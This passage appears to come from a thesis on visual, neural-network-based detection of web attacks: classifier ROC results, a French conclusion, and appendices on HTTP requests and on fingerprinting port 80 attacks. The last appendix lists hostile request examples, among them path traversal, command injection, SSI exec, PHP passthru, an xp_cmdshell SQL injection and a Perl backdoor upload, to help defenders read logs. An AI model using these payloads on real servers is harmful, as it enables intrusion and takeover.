0.80 2 0.865 0.9668 0.0332 
0.85 1 0.158 0.9670 0.0330 
0.90 1 0.575 0.9672 0.0328 
0.95 1 0.991 0.9674 0.0326 

Table 4-8  Fault, Detection and Miss probabilities of the prototype system  

From the above results of Table 4-8 we verified that in order to increase the PD we must 

also accept an increase of PF.  

Table 4-8 can be interpreted as following: 

If after 10 runs (N=10) of the classifier for the same event containing an attack, for 

example, more that 5 one’s or successes (k > 5) are received, then with a false 

probability of 14% there is a detection probability of 92.3% and a miss probability of 

7.7% (line 3 of Table 4-8). 

Finally, Figure 4-14 displays the ROC curve for the prototype system using the results 

of Table 4-8. From the ROC curve it can be verified visually as well, that with a PF of 

around 15% a maximum detection (PD) of 92% is achieved (upper left point of the 

curve). This is the best tradeoff between the false alarm rate and the detection rate of the 

developed prototype system. 
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Figure 4-14  Receiving Operating Characteristic (ROC) curve of the prototype system 

 

4.4.4.2  ROC Interpretation 

Let )|()(ˆ 1 xpxp ω= , the estimated probability that an object x belongs to class ω1. Let  

)|)(ˆ()ˆ( 1ωxpfpf =  be the probability density function for p̂  values for patterns in 

class ω1, and )|)(ˆ()ˆ( 2ωxpgpg =  be the probability density function for p̂  values for 

patterns in class ω2. If )ˆ( pF and )ˆ( pG  are the cumulative distribution functions, then 

the ROC curve is a plot of  )ˆ(1 pF−  against )ˆ(1 pG− . 

The area under the curve is given by: 

∫ ∫−=− duuguFudGuF )()(1)())(1(     or alternatively 

∫ ∫= duufuGudFuG )()()()(         (4.3) 

For an arbitrary point ]1,0[)(ˆ ∈= txp , the probability that a randomly chosen pattern x 

from class ω2 will have a )(ˆ xp value smaller that t is )(tG . If t is chosen from the 

density f, then the probability that a randomly chosen class ω2 pattern has a smaller 
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value that a randomly chosen class ω1 pattern is ∫ duufuG )()( . This is the same as the 

definition (4.3) for the area under the ROC curve. 

A good classification rule, a rule for which the estimated values of )|( 1 xp ω are very 

different for x from each of the two classes, lies in the upper left triangle of the curve. 

The closer that it gets to the upper corner the better. 

A classification rule that is no better that chance produces a ROC curve that follows the 

diagonal from the bottom left to the top right. 

 
 



Chapitre 5 Conclusion et perspectives 
 

142 

 Chapitre 5    

 Conclusion et perspectives 

5.1  Conclusion  

Aujourd'hui, nous faisons face sans cesse à des quantités de données rapidement 

croissantes : Les nouvelles sondes, les méthodes plus rapides d'enregistrement et les 

prix décroissants des capacités de stockage permettent de stocker des quantités énormes 

de données qui étaient inimaginables il y a une décennie. Les simulations de flux, la 

dynamique moléculaire, la science nucléaire, la tomographie par ordinateur ou 

l'astronomie produisent des quantités de données qui peuvent facilement atteindre 

l’ordre de terabytes. Parallèlement à la croissance des ensembles de données, la 

puissance des systèmes informatiques pour traiter ces quantités de données a également 

évolué. Des processeurs plus rapides, des mémoires centrales plus grandes, des réseaux 

plus performants, des systèmes distribués et parallèles et des capacités de stockage plus 

grandes augmentent le flux de données chaque année. N'ayant aucune possibilité 

d'explorer de manière utile les grandes quantités de données qui ont été rassemblées en 

fonction de leur potentiel, les données deviennent inutiles et les bases de données 

deviennent des données listées (dumps). 

L'analyse de données de réseau est une tâche très importante mais consommatrice de 

temps pour tout administrateur et analyste de sécurité. Une quantité de temps 

significative est consacrée au filtrage à travers des listes de messages textuels (logs) 

produits par des systèmes de détection d’intrusion et des outils réseaux afin de sécuriser  

les réseaux. 

Les entreprises disposant d’un site Web ou d’une connexion Internet sont 

perpétuellement sous attaque. Les serveurs web sont vulnérables aux attaques sur le port 

TCP/IP 80, lequel est utilise par défaut pour le trafic de HTTP. Les pare-feux coûteux se 

sont montrés inefficaces pour empêcher les attaques ainsi que pour interdire aux 

logiciels malveillants comme des virus, des vers, des chevaux de Troie ainsi que des 
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spyware, d'infecter un trop grand nombre de serveurs web à travers des fautes simples 

de programmation (bugs). 

Les systèmes de détection d'intrusion peuvent être une manière très efficace pour 

empêcher des attaques à travers le port 80, parmi un grand nombre d'autres attaques. 

Cependant, il y a une variété de systèmes de détection d'intrusion disponibles, et chaque 

système avec ses propres possibilités et inconvénients. Par exemple, les systèmes de 

détection d'intrusion qui se fondent sur les modes assortis du comportement spécifique 

des attaques connues ne peuvent pas détecter des attaques avec différentes signatures, 

inconnues auparavant. 

Des signatures génériques des modes de comportement général, fournies par les 

constructeurs de systèmes de détection d’intrusion, sont nécessaires pour empêcher des 

attaques inconnues, mais elles risquent de bloquer les requêtes web valides qui sont 

faussement identifiées comme attaques. 

Un système de détection d'intrusion rassemble l'information de serveur et/ou de réseau 

pour que l'analyse détermine si une attaque ou une intrusion s'est produite. Un système 

basé-réseau de détection d'intrusion surveille le trafic sur son segment de réseau, alors 

qu'un système HIDS de détection d'intrusion  protège le logiciel chargé  sur ce serveur. 

Les systèmes HIDS de détection d'intrusion surveillent typiquement les messages du 

système, d’événements et de sécurité, enregistrés dans les “logs” et “syslog”, des 

environnements Windows et Unix respectivement. Les systèmes de détection d'intrusion 

comparent les données aux signatures d'attaque pour voir s'il y a une équivalence. Si 

oui, le système répond avec des alertes d’administrateur et d’autres appels à l’action.  

Dans cette recherche nous avons tenté de répondre aux deux questions suivantes : 

L'analytique visuelle a-t-elle pu être appliquée dans le contexte de l'analyse de données 

pour la sécurité web? Pourrions-nous créer une représentation visuelle "intelligente" des 

attaques web et extraire la connaissance à partir d'un graphe de fonctionnement du 

réseau?  

L’implémentation de notre prototype et les bons résultats expérimentaux ont montré 

qu'une telle représentation web visuelle et "intelligente" est réalisable. Les parties 

fondamentales d'un tel système étaient l’intelligence artificielle et la visualisation. Un 

système évolutionnaire de réseaux de neurones artificiels combinant les réseaux de 

neurones et les algorithmes génétiques s'est avéré idéal pour la tâche de classification 

des attaques web. 



Chapitre 5 Conclusion et perspectives 
 

144 

Ce projet a démontré que la visualisation "intelligente" réduit considérablement le 

temps requis pour l'analyse de données et fournit en même temps les aperçus qui 

pourraient sinon échapper à l'analyse textuelle. 

La visualisation offre les moyens puissants de l'analyse qui peuvent aider l'analyste de 

sécurité à découvrir les tendances ou les stratégies d'intrus qui sont susceptibles 

d’échapper à d’autres méthodes non visuelles. La visualisation lui permet de vérifier le 

processus analytique, puisque l'opérateur examine le trafic web directement et en temps 

réel et prend des décisions itératives au sujet de ce qui est présenté. 

Le projet a prouvé que l’analytique visuelle offre le potentiel de fournir aux analystes et 

aux experts de milieu universitaire, d'industrie et de services publics les outils 

compétents de prise de décision pour : 

• Ne pas perdre pied avec l'augmentation de la complexité de modèles et voir 

l'information essentielle plus rapidement  

• Découvrir les occasions, les risques et les tendances qui seraient passés inaperçus 

auparavant 

• Développer une approche antérieure et préventive à la prise de décision et 

comprendre le raisonnement et la validité cachée. 

À un niveau très général, notre approche analytique à manipuler des données complexes 

peut être présentée comme suit : 

1) "simplifier"  

Au moyen de généralisation et agrégation, les données de requêtes web ont été 

transformées afin de réduire le détail excessif, les fluctuations et les particularités 

occasionnelles qui pourraient obstruer la visibilité des attributs essentiels. En 

conséquence, l'analyste de sécurité  peut obtenir une vue synoptique globale des 

données sans grande perte d'information. 

2) "diviser et grouper". 

Pour une analyse plus complète, l'analyste a dû décomposer les données en pièces et 

examiner ces pièces. Pour accomplir ceci, seuls les attributs importants des données des 

requêtes web sont choisis, comme l’adresse source IP, la commande et les données 

utiles de la requête. 

3) "voir en relation". 
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Pour une compréhension appropriée des données divisées en pièces, l'analyste a besoin 

de révéler les différences substantielles aussi bien que les similarités entre les pièces. Le 

prototype offre à l'analyste une option pour ne visualiser que le trafic malveillant, en 

plus de visualiser l'activité totale, normale et malveillante. En employant la coloration 

pour les différentes attaques web, l'analyste peut rapidement identifier en temps réel le 

type des attaques en progrès, leur origine et leur relation pendant une courte période de 

temps. De plus, il peut facilement repérer sur l’écran des attaques multiples et 

simultanées, provenant de réseaux différents, par les adresses sources IP et par la 

coloration des classes d'attaque. 

4) "s'occuper des conditions particulières".  

En raison de l'agrégation et de la simplification de données, l'information 

potentiellement valable pourrait être perdue. Tandis qu'il peut être impossible de 

considérer chaque donnée élémentaire individuellement, les diverses "conditions 

particulières" comme des valeurs exceptionnelles d'attributs et des comportements 

temporels typiques exigent l'attention de l'analyste. L'analyste de sécurité, en se 

concentrant sur les données utiles de la requête web peut examiner en temps réel le code 

malveillant des injections de code Perl, SQL ou d’autres langages évolués de 

programmation, l'information d’attaques de type Cross Site Scripting et le code de 

nouvelles attaques, telles que les vers et le virus. 

Avec notre travail nous avons contribué à la recherche de sécurité de réseau et de 

visualisation web par les points suivants : 

• Une aide de surveillance pour l'analyste de sécurité   

• Un nouvel outil de visualisation du trafic web qui permet la perception et la 

détection rapide du trafic non autorisé  

• Une visualisation en temps réel du trafic de réseau  

• Une possibilité d’isoler le trafic malveillant pour l'analyse et la réponse immédiates  

• Une utilisation de réseau évolutionnaire de neurones artificiels comme base de 

connaissance pour la classification rapide des attaques  

• Un prototype d’un système de visualisation idéal pour enseigner la sécurité du 

serveur web aux utilisateurs non formés. 

La surveillance du trafic web peut être appliquée aux autres services populaires 

d'Internet, tels que la messagerie électronique ou le DNS. En combinant les méthodes 
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analytiques, traditionnelles ou modernes, avec des techniques visuelles de présentation, 

on peut produire une approche très robuste vis-à-vis de la sécurité de réseau. La 

visualisation et l'intelligence artificielle peuvent être incorporées dans des systèmes de 

détection d'intrusion pour produire des systèmes plus puissants, capables de traiter les 

nouveaux défis d'attaques et les données bruyantes ou incomplètes. C'est assurément le 

futur dans le domaine de Détection d’Intrusion (DI). 

5.2  Perspectives 

5.2.1  Intelligence Artificielle  

Dans notre système expert hybride, nous avons employé des algorithmes génétiques 

pour optimiser les poids de connexions d'un réseau de neurones artificiels (ANN). 

L'évolution a été également introduite dans les ANNs en général dans deux autres 

différents niveaux: dans les architectures et dans les règles d'apprentissage. La bonne 

architecture de réseau pour un problème particulier est souvent choisie à l’aide de 

moyens heuristiques. Concevoir  une topologie de réseau de neurones tient toujours plus 

de l’art que de la technique. L'essence d'un algorithme d'apprentissage est la règle 

d'apprentissage, c.-à-d. une règle de mise à jour des poids qui détermine comment des 

poids de connexions sont modifiés. Les exemples des règles d'apprentissage populaires 

incluent la règle de “delta rule”, la règle de Hebb et la règle d’apprentissage 

concurrentielle (competitive learning rule). 

Des travaux futurs pourraient se concentrer sur l'implémentation d’évolution dans 

l’architecture et/ou les règles d'apprentissage de réseaux de neurones pour améliorer  la 

performance du classificateur. 

5.2.1.1  Évolution dans l’architecture d'ANN  

L'architecture d'un ANN inclut sa structure topologique, c.-à-d. la connectivité et la 

fonction de transfert de chaque noeud dans le réseau des neurones. Le modèle 

d’architecture est crucial pour le fonctionnement réussi du réseau de neurones parce que 

l'architecture a un impact significatif sur les capacités de traitement de l'information 

d'un réseau. Etant donné une tâche d'apprentissage, un réseau de neurones avec 

seulement quelques connexions et noeuds linéaires ne peut éventuellement pas 
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accomplir la tâche en raison de ses capacités limitées, alors qu'un réseau  avec un grand 

nombre de connexions et de noeuds non-linéaires peut, à cause de bruit parasite dans les 

données d’apprentissage, échouer à avoir de bonnes capacités de généralisation. 

Jusqu'ici, la conception d'architecture est surtout le travail d'un expert. Elle dépend 

fortement de l'expérience du spécialiste et d'un processus laborieux d'épreuves et 

d’erreurs. Il n'y a aucune manière systématique de concevoir automatiquement une 

architecture presque optimale pour une tâche donnée. 

L'évolution des architectures permet aux réseaux de neurones d'adapter leurs topologies 

à différentes tâches sans intervention humaine et ceci fournit une approche à la 

conception automatique des réseaux ANN’s, puisque leurs poids de connexions et leurs 

structures peuvent être évolutifs. 

5.2.1.2  Évolution dans les règles d'apprentissage d'ANN  

Un algorithme de formation d’un réseau de neurones peut avoir des performances 

différentes quand il est appliqué à des architectures différentes. La conception des 

algorithmes de formation, plus fondamentalement les règles d'apprentissage employées 

pour ajuster des poids de connexions, dépend du type d'architecture sous étude. On a 

proposé différentes variantes de la règle d'apprentissage de Hebb pour traiter différentes 

architectures. Cependant, concevoir une règle d'apprentissage optimale devient très 

difficile quand il y a peu de connaissances antérieures au sujet de l'architecture du 

réseau de neurones, ce qui est souvent le cas dans la pratique. Il est souhaitable de 

développer une manière automatique et systématique en vue d'adapter la règle 

d'apprentissage à une architecture et à la tâche qui doit être exécutée. En d'autres termes, 

un réseau de neurones devrait apprendre sa règle d'apprentissage dynamiquement plutôt 

que de l'avoir conçue et fixée manuellement. 

Puisque l'évolution est l'une des formes les plus fondamentales d'adaptation, l'évolution 

des règles d'apprentissage a été présentée dans les ANN’s afin d'apprendre leurs règles 

d'apprentissage. Elle peut également être considérée comme un processus adaptatif de 

découverte automatique des nouvelles règles d'apprentissage. 
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5.2.2  Visualisation  

Pour supporter l'analyse des graphes, une variété de méthodes visuelles a été développée 

ces dernières années. Ces méthodes transforment les structures  abstraites des graphes 

en représentations spatiales. Cependant, les représentations visuelles des grandes 

données d’un graphe tendent à devenir denses et encombrées. Pratiquement toutes les 

approches connues pour aborder cette question sont basées sur le calcul d'un arbre 

approprié de hiérarchie (groupage hiérarchique) qui peut être employé comme carte 

mentale pour conduire la navigation dans une représentation graphique. Les techniques 

d'interaction sont également des outils utiles pour soutenir l'exploration de grands 

graphes. Spécifiquement, les techniques d'ensemble+détail (overview+detail) 

fournissent à des utilisateurs une vue d'ensemble générale d'un graphe et permettent des 

vues détaillées des parties du graphe sur demande. Les techniques de concentration+ 

contexte (focus+context) visent à intégrer tous les deux, des vues détaillées 

(concentration) et une vue d'ensemble (contexte). 

Pour rendre visible une structure graphique sur l’écran d’un ordinateur, une 

représentation spatiale des noeuds du graphe doit être calculée. Selon plusieurs 

caractéristiques du graphe (par exemple sa taille) et des critères esthétiques, divers 

algorithmes peuvent être appliqués pour accomplir cette tâche. Puisque les données 

réelles d’un graphe (comme le trafic web) sont habituellement grandes, sa 

représentation visuelle peut avoir comme conséquence un affichage regrettablement 

dense et encombré. Par conséquent, on a développé des approches qui traitent de 

l'exploration visuelle de grands graphes. Généralement, des techniques comme le 

“zooming”  et le “panning” de la représentation de graphe sont fournies pour permettre 

aux utilisateurs de commuter entre la vue d'ensemble et les représentations détaillées. 

Des visualisations interactives plus sophistiquées de graphes, visualisations telles que 

les vues de “Fisheye” ou d' “EdgeLens”, fournissent une représentation intégrale des 

détails (concentration) et de la vue d'ensemble (contexte). En fonctionnement, soit au 

niveau graphique soit au niveau sémantique, ces techniques réalisent le concept de 

concentration+contexte. 
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5.2.2.1  Techniques de “Fisheye tree” et de “Graph Lenses”  

Les techniques d'ensemble+détail et de concentration+contexte sont des concepts établis 

qui facilitent la navigation et ainsi l'exploration visuelle des espaces d'informations. 

Cependant, dans des techniques d'ensemble+détail, des utilisateurs sont obligés de 

combiner mentalement la vue d'ensemble et les vues détaillées. En utilisant le 

“zooming”  et le “panning”, les utilisateurs doivent commuter fréquemment entre la vue 

d'ensemble et les vues détaillées  pendant l’exploration des données. D'autre part, les 

techniques de concentration+contexte fournissent des vues détaillées intégrées dans une 

vue d'ensemble. Cependant, ceci implique habituellement un certain degré de 

déformation dans la vue d'ensemble (c.-à-d. le contexte). Particulièrement pour de 

grands ensembles de données, il est difficile d’interpréter l'information présentée dans le 

contexte déformé. Les approches courantes de visualisations des graphes se concentrent 

habituellement uniquement sur un concept, soit sur l’ensemble+détail soit sur le 

concentration+contexte. 

Des travaux futurs sur des techniques de visualisation pourraient combiner de façon 

homogène aussi bien les techniques d’ensemble+détail que les techniques de 

concentration+contexte. Les représentations visuelles obtenues peuvent être manipulées 

à tout moment pour l’ensemble+détail et fournir des techniques interactives avancées de 

concentration+contexte sur demande. Des techniques de “Fisheye Tree Views” et de 

“Graph Lenses” ont pu être ajoutées au module de visualisation de notre prototype pour 

une interprétation rapide des attaques web multiples d’un site particulier ou des attaques 

simultanées de sites différents. 

5.2.2.2  Exploration différée de graphique  

Pendant l’exploration en temps réel des graphes du trafic web avec notre prototype, 

nous nous sommes rendus compte que trouver un bon point de vue des graphes c’était 

important pour l'interprétation rapide du trafic normal ou malveillant. L'utilisateur était 

obligé de regarder la scène de plusieurs points de vue afin de comprendre des graphes 

plus complexes, c.-à-d. pour regarder le code des attaques de nouveaux virus ou le code 

malveillant de “scripts” inclus dans les données de requêtes web des attaques de type 

“Cross Site Scripting” ou d'injections de code SQL. L'exploration différée du graphe est 
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nécessaire où des points intéressants pourraient être trouvés avant que l'utilisateur visite 

le graphe ainsi qu’après l’analyse. 

Des travaux futurs pour notre module de visualisation pourraient se concentrer sur le 

calcul automatique de point de vue, basé sur des critères définis par l’utilisateur, ou 

sur des attributs importants de graphe comme l’adresse source IP et la méthode de 

requête web, le type d’attaque ou les attributs spéciaux des données de requête. 
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Index of Abbreviation 

 AI   Artificial Intelligence 

 ANN   Artificial Neural Network 

 API   Application Programming Interface 

 ART   Adaptive Resonance Theorem 

 ASP   Active Server Pages 

 BAM   Bidirectional Associate Memory 

 BNN   Backpropagation Neural Network 

 BP   Back Propagation 

 CGI   Common Gateway Interface 

 XSS   Cross Site Scripring 

 CVE   Common Vulnerabilities and Exposures 

 DDoS   Distributed Denial of Service 

 DNS   Domain Name Service 

 DoS   Denial of Service 

 EANN   Evolutionary Artificial Neural Network 

 EP   Evolutionary Programming 

 ES   Evolutionary Strategies 

 FTP   File Transport Protocol 

 GA   Genetic Algorithms 

 GIS   Geographic Information System 

 HIDS   Host Intrusion Detection System 

 HTML   Hyper Text Markup Language 

 HTTP   Hyper Text Transport Protocol 

 IDQ   Internet Data Query 

 IDS   Intrusion Detection System 

 IE   Internet Explorer 



Index of Abbreviation 
 

152 

 IIS   Internet Information Services 

 IP   Internet Protocol 

 IV   Information Visualization 

 IPS   Intrusion Prevention System 

 ISAPI   Internet Server Application Programming Interface 

 IUSR   Internet USeR (anonymous access acount for IIS) 

 LISP   LISt Processing 

 LRT   Likelihood Ratio Test 

 MDAC  Microsoft Data Access Components 

 MSADC  MicroSoft Active Directory Connector 

 NIDS   Network Intrusion Detection System 

 NMS   Network Management System 

 NN   Neural Network 

 PHP   PHP: Hypertext Preprocessor 

 RDS   Remote Data Service 

 RPC   Remote Procedure Call 

 ROC   Receiving Operating Characteristics 

 SQL   Structured Query Language 

 SSE   Sum of Squared Errors 

 SSI   Server Side Includes 

 SSL   Secure Sockets Layer 

 TCP   Transport Control Protocol 

 URL   Uniform Resource Locator 

 VA   Visual Analytics 

 WWW   World Wide Web 
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Appendix A 

Web requests 

Data are sent by a client to a Web server with HTTP requests in accordance with the 

HTTP protocol. The data contain the address of the requested script, the server name 

and possibly parameters such as GET, POST and COOKIE. In addition the client can 

send secondary data as header fields. 

A.1  HTTP GET 

The HTTP GET is the most popular and the simplest method of sending data from a 

client to the server. Data are preceded by the address of the requested page and a 

question mark. We cannot use GET to send files.  

Example:  http://localhost/scriptname.php?id=1&message=hello 

Two parameters are sent to the script: The first is id with the 1 value and the second is 

message with the hello value.  

Data are sent as GET parameters either as a request to a script using the <a> HTML tag 

or by using a form, as following: 

1) <a href=http://localhost/scriptname.php?id=1&message=hello>Test </a> 

2) <form action=http://localhost/scriptname.php method=GET> 

    id: <input type=text name=id> 

    message: <input type=text name=message> 

    <input type=submit> 

    </form> 

The actual header sent by Mozilla browser in the Windows 2000 operating system is as 

following: 

GET /scriptname.php?id=1&message=hello HTTP/1.1 

Host: localhost 
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User-Agent: Mozilla/5.0 (Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050512 

Accept: */* 

Accept-Language: en-us 

Accept-Encoding: gzip, deflate 

Accept-Charset: ISO-8859-1,utf=8;q=0.7,*;q=0.7 

Keep-Alive: 3000 

Connection: keep-alive 

Detailed knowledge of the header fields sent during a GET request allows an attacker to 

simulate HTTP sessions. Thus, he can write programs that can request documents on a 

server but cannot be differentiated from a common browser. 

A.2  HTTP POST 

The HTTP POST is another method for sending data to the server using HTTP. With 

this method data are sent after all headers are sent from a client to the server. The POST 

method allows the users to send files. 

Data can be sent with the POST method from an HTML page only by using a form. The 

syntax of the form is identical to the form for the GET request except that the POST 

method is specified: 

<form action=http://localhost/scriptname.php method=POST> 

id: <input type=text name=id> 

message: <input type=text name=message> 

<input type=submit> 

</form> 

The actual header send by Mozilla has the form: 

POST /scriptname.php?id=1&a=hello HTTP/1.1 

Host: localhost 

User-Agent: Mozilla/5.0 (Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050512 

Accept: */* 

Accept-Language: en-us 
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Accept-Encoding: gzip, deflate 

Accept-Charset: ISO-8859-1,utf=8;q=0.7,*;q=0.7 

Keep-Alive: 3000 

Connection: keep-alive 

Referer: http://localhost/scriptname.php?id=1&message=hello 

Content-Type: /x-www-form-urlencoded 

Content-Length : 18 

<empty line> 

id=1&message=hello 

URL encoding means that certain characters are encoded to avoid collisions, for 

example the & character is encoded as %26, the = character as %3D and so on. 

A.3  HTTP COOKIE 

Cookies are data stored on the client in small files or in the computer memory.  

COOKIE parameters are sent within the header. The server sends a cookie in the 

response header and the client sends it in the request header. 

Here is an example of a server response header, in which the server sets the message 

cookie to the hello value: 

HTTP/1.1 200 OK 

Date: Thu, 06 May 2004 12:00:00 GET 

Server: Apache/1.3.12 (Win32) 

X-Powered-By: PHP/4.3.3 

Set-Cookie: message=hello 

Set-Cookie: id=80 

Keep-Alive: timeout=15, max=100 

Connection: keep-alive 

Transfer-Encoding: chunked 

Content-Type: text/html 
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The Server field identifies the server and the X-Powered-By field indicated that the page 

is generated by a PHP script. This information can be useful to the attacker. 

Here is an example in which the browser sends the server two cookies: 

GET /test.php HTTP/1.1 

Host: localhost 

User-Agent: Mozilla/5.0 (Windows NT 5.1; en-US; rv:1.7.5) Gecko/20050512 

Accept: */* 

Accept-Language: en-us 

Accept-Encoding: gzip, deflate 

Accept-Charset: ISO-8859-1,utf=8;q=0.7,*;q=0.7 

Keep-Alive: 3000 

Connection: keep-alive 

Cookie: message=hello; id=80 

Cache-Control: max-age=0 

A COOKIE parameter has a name and a value. It can also include the server address and 

the path to scripts that require the cookie value. When these are specified, the browser 

should send the cookies only to documents located in the specified directory or 

subdirectories. 

Cookies can be used by an attacker to retrieve information from a server. A user who 

has nothing in common with the attacker visits a malicious HTML page. Then he visits 

a target server and sends the server certain COOKIE parameters fabricated by the 

attacker. The attacker can also use JavaScript to redirect the visitor to the target server. 

A cookie can remain even after the computer is rebooted. It can be repeatedly sent to the 

server for years until the user deletes it. The user can edit cookie files as he likes.  
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Appendix B 

Fingerprinting Port 80 attacks 

Appendix B focuses on the common fingerprints of web attacks and the commands an 

attacker executes, along with files which may be requested. While this isn't a complete 

list of commands or files an attacker may request it will give a good idea of what is 

happening, or being attempted against a web server. 

B.1  Common fingerprints 

This section describes the common fingerprints used in exploitation of both web 

servers, and web applications and shows what exploits and attacks will look like 

[cgisecurity 02]. These fingerprints should pick up most of the known and unknown 

holes an attacker may use against the web service. This section also describes what each 

fingerprint is used for, or how it may be used in an attack. 

B.1.1  "."  ".." and "..." Requests 

These are the most common attack fingerprints in both web application exploitation and 

web server exploitation. It is used to allow an attacker or worm to change directories 

within a web server to gain access to sections that may not be public. Most CGI holes 

will contain some ".." requests.  

Below is an example: 

http://host/cgi-bin/lame.cgi?file=../../../../etc/motd 

This shows an attacker requesting the web servers "Message Of The Day" file. If an 

attacker has the ability to browse outside the web servers root, then it may be possible to 

gather enough information to gain further privileges. 
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B.1.2  "%20" Requests 

This is the hex value of a blank space. While this doesn't mean that a server is being 

exploited, it is something an administrator may want to look for in his server logs. Some 

web applications may use these characters in valid requests, so a careful check of the 

logs should be done. On the other hand, this request is occasionally used to help execute 

commands.  

Below is an example: 

http://host/cgi-bin/lame.cgi?page=ls%20-al|   

The example shows an attacker executing the ls command on Unix and feeding it 

arguments. The argument shown reveals an attacker requesting a full directory listing. 

This can allow an attacker access to important files on a system, and may help give him 

an idea as how to gain further privileges. 

B.1.3  "%00" Requests 

This is the hex value of a null byte. It can be used to fool a web application into thinking 

a different file type has been requested. 

Below are some examples: 

http://host/cgi-bin/lame.cgi?page=index.html 

The example shown may be a valid request on this machine. If an attacker sees such 

behavior he will certainly probe this application to find a hole in it.  

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd 

A web application may disallow this request because its checking for the filename to 

end in .htm , .html, .shtml, or other file types. A lot of the time the application tells you 

that this isn't a valid file type for this application. Often times it will tell an attacker that 

the file must end in a certain filename. From here an attacker can gather server paths, 

filenames and then possibly gather more information about a system. 

http://host/cgi-bin/lame.cgi?page=../../../../etc/motd%00html 

This request tricks the application into thinking the filename ends in one of its 

predefined acceptable file types. Some web applications do a poor job of checking for 

valid file requests and this is a common method used by attackers. 
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B.1.4  "|" Requests 

This is a pipe character, which is often used in Unix to help execute multiple commands 

at a time in a single request.  

Example: #cat access_log| grep -F "/../"  

(This shows checking in logs of  ".." requests which are often used by attackers and 

worms). 

Often times valid web applications will use this character and it may cause false alarms 

in an IDS logs. A careful examination of the software and its behavior is a good idea so 

that the false alarm rates will go down. 

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls| 

This request is asking for the command of ls to be executed. 

http://host/cgi-bin/lame.cgi?page=../../../../bin/ls%20-al%20/etc| 

This request is asking for full directory listing of the "etc" directory on a Unix system. 

http://host/cgi-bin/lame.cgi?page=cat%20access_log|grep%20-i%20"lame" 

This request is asking for the command of "cat" to be executed and then the command 

of "grep" with an argument of -i. 

B.1.5  ";" Requests 

This is the character that allows multiple commands to be executed in a row on a Unix 

system. 

Example:  

#id;uname -a  

(This is executing the "id" command followed by the "uname" command). 

Often times web applications will use this character and it may be possible to cause 

false alarms in an IDS logs. Once again a careful examination of the software and its 

behavior is a good idea so that the false alarm rates will go down. 

B.1.6  "<" and ">" Requests 

These characters are to be checked in logs for numerous reasons, the first being that 

these characters are used to append data to files.  
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Example 1: #echo "your hax0red h0 h0" >> /etc/motd 

(This shows a request to write the information into this file).  

An attacker may simply use a request like this to deface a website.  

Example 2: http://host/something.php=<b>Hi%20mom%20I'm%20Bold!</b> 

This request shows a cross site server scripting attack example. One will notice the html 

tags use the "<" and ">" characters. While this type of attack won't grant an attacker 

system access, it could be used to fool people into thinking that certain information on a 

website is valid. Of course they would need to visit the link the attacker wants them to. 

The request may be masked by encoding the characters in hex so as not to be so 

obvious. 

B.1.7  "!" Requests 

This character is often used in SSI (Server Side Include) attacks. These attacks may 

allow an attacker to have similar results as cross site scripting exploitation does if the 

attacker fools a user into clicking on a link. 

Below is an example:  

http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-

article.html"--> 

This is an example of what an attacker may do. This is basically including a file from 

host2 and making it appear to be coming from host1. Of course they would need to visit 

the link the attacker wants them to. The request may be masked by encoding the 

characters in hex so as not to be so obvious. 

It also may allow him to execute commands on a system with the privileges of the web 

server user. 

Below is an example: 

http://host/something.php=<!%20#<!--#exec%20cmd="id"--> 

This is executing the command of "id" on the remote system. This is going to show the 

user id of the web server which is usually user "nobody" or "www". 

It may also allow the inclusion of hidden files. 

Below is an example: 

http://host/something.php=<!%20--#include%20virtual=".htpasswd"--> 
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This is including the .htpasswd file. This file isn't normally allowed to be viewed by the 

world, and apache even has a built in rule to deny requests to .ht. The SSI tag bypasses 

this and can cause security problems. 

B.1.8  "<?" Requests 

This is often used while trying to insert php into a remote web application. It may be 

possible to execute commands depending on server setup, and other contributing 

factors. 

Below is an example: 

http://host/something.php=<? passthru("id");?> 

On a poorly written php application it may execute this command locally on the remote 

host under the privilege of the web server user. An addition to this chapter is that an 

attacker may encode these requested with hex.  

B.1.9  "`" Requests 

The backtick character is often used in perl to execute commands. This character isn't 

normally used in any valid web application, so if it is seen in the logs it should be taken 

very seriously. 

Below is an example: 

http://host/something.cgi=`id` 

On a poorly written web application written in perl this would execute the "id" 

command. 

B.1.10  " * " Requests 

The asterisk is often used by attackers as an argument to a system command. 

Below are some examples: 

http://host/index.asp?something=..\..\..\..\WINNT\system32\cmd.exe?/c+DIR+e:\WINN

T\*.txt 

This request is asking for all text files within the directory of e:\WINNT to be listed. 

Requests like these can often be used to gather a list of log files, along with other 

important files. Not a lot of web applications use this character in a valid request so this 

makes an asterisk stand out in logs. 
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http://host/blah.pl?somethingelse=ls%20*.pl 

This request is asking for a directory listing on a Unix system of all perl scripts that end 

in .pl. 

B.1.11  " ~ " Requests 

The " ~" character is sometimes used by attackers to determine who is a valid user on a 

system. 

Below is an example: 

http://host/~jean 

 This request is looking for a user named "jean" on the remote system. Often times users 

will have web space and if the attacker manages to visit a web page, or get a 403 error 

(Denied error) then a user exists.  Once an attacker has a valid username, they may try 

guessing passwords, or brute forcing until they get a valid password. There are other 

ways of finding out who is a valid user but this is a port 80 request so it is mentioned 

here. This is a well known method and it can easily be misidentified as a valid request in 

IDS logs depending on if the system has user pages in this format. 

B.1.12  " ' " Requests 

If this particular character shows up in web logs then there is a possibility someone is 

trying a SQL injection attack against the application software. Often times programs 

may be written poorly and may allow an attacker to insert SQL commands into the 

script. If it is possible to execute system commands then it may be possible for an 

attacker to gain administrative access to a system. Sometimes administrators run SQL as 

root on Unix and if MS-SQL is running it already runs with administrative privileges. 

Below is an example: 

http://host/cgi-bin/lame.asp?name=john`;EXEC master.dbo.xp_cmdshell'cmd.exe dir 

c:'-- 

This request is executing the cmd.exe shell on a windows NT machine. From here an 

attacker has free reign on the remote machine with access to add users, upload trojans, 

and steal the sam password file. 
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B.1.13  " #, {} , ^ , and [] " Requests 

These particular characters may show up in web logs if an attacker is echoing some 

source code into a file of a perl or c program. Once a file is created and compiled or 

interpreted the attacker could bind a shell to a port giving him easy access. 

" [ ] "  may also be used as a command argument in Unix for commands like ls -al [a-

f]*. This would list all the files starting with characters between a and f.  

"#" may show up if an attacker is uploading a perl script backdoor (Ex: #!/usr/bin/perl at 

the top of the file). 

Below is an example using "#": 

http://host/dont.pl?ask=/bin/echo%20"#!/usr/bin/perl%20stuff-that-binds-a-

backdoor"%20>/tmp/back.pl;/usr/bin/perl%20/tmp/back.pl%20-p1099 

